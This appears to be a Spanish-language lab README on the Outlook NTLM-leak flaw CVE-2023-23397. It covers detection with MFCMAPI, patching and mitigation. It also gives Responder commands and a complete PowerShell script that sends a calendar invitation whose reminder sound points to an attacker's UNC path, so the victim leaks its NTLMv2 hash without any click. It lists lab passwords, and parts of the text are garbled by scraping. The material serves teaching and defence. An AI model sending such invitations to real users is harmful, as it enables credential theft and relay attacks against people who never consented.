
Demostración de la vulnerabilidad CVE-2023-23397 de escalada de privilegios en Outlook
Este proyecto demuestra la detección, explotación y mitigación de CVE-2023-23397, una vulnerabilidad crítica de retransmisión NTLM de cero clics en Microsoft Outlook para Windows. Explotada mediante invitaciones de calendario, esta vulnerabilidad permite a los atacantes capturar hashes NTLMv2 sin ninguna interacción del usuario.
🛡️ Puntuación CVSS: 9.8 (Crítico)
🖥️ Versiones afectadas: Outlook 2013, 2016, 2019, Microsoft 365 (antes del parche del 14 de marzo de 2023)
Los recordatorios del calendario de Outlook se pueden configurar para reproducir sonidos personalizados a través de la propiedad MAPI PidLidReminderFileParameter. Outlook no valida las rutas UNC, lo que permite solicitudes SMB remotas cuando se activan los recordatorios.
\\attacker-ip\share\sound.wav
Esto hace que los hashes NTLMv2 se envíen a servidores controlados por el atacante, que pueden entonces:
Use MFCMAPI para inspeccionar los elementos del calendario y comprobar si hay valores maliciosos en PidLidReminderFileParameter (etiqueta MAPI 0x851F001F).
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F para ver las rutas de los archivos de recordatorioInstale el parche del 14 de marzo de 2023 (por ejemplo, KB5002044). El parche introduce:
IsFileZoneLocalIntranetOrTrusted() para validar las rutas de archivos de recordatorioResultado de la prueba:
Outlook registrará el Event ID 1008 y bloqueará el acceso a rutas SMB no confiables.
192.168.1.0/24)📂 Directiva predefinida: OutlookMitigation.ipsec
| Sistema | Usuario | Contraseña |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| Cuenta de correo | [email protected] |
sudo apt install responder
sudo responder -I eth0 -v
Asegúrese de que Kali y la VM víctima están en la misma red.
Instale:
Configuración:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder capturará el hash NTLMv2 del sistema de la víctima.
PidLidReminderFileParameter contiene una ruta UNC.| vbox@123 |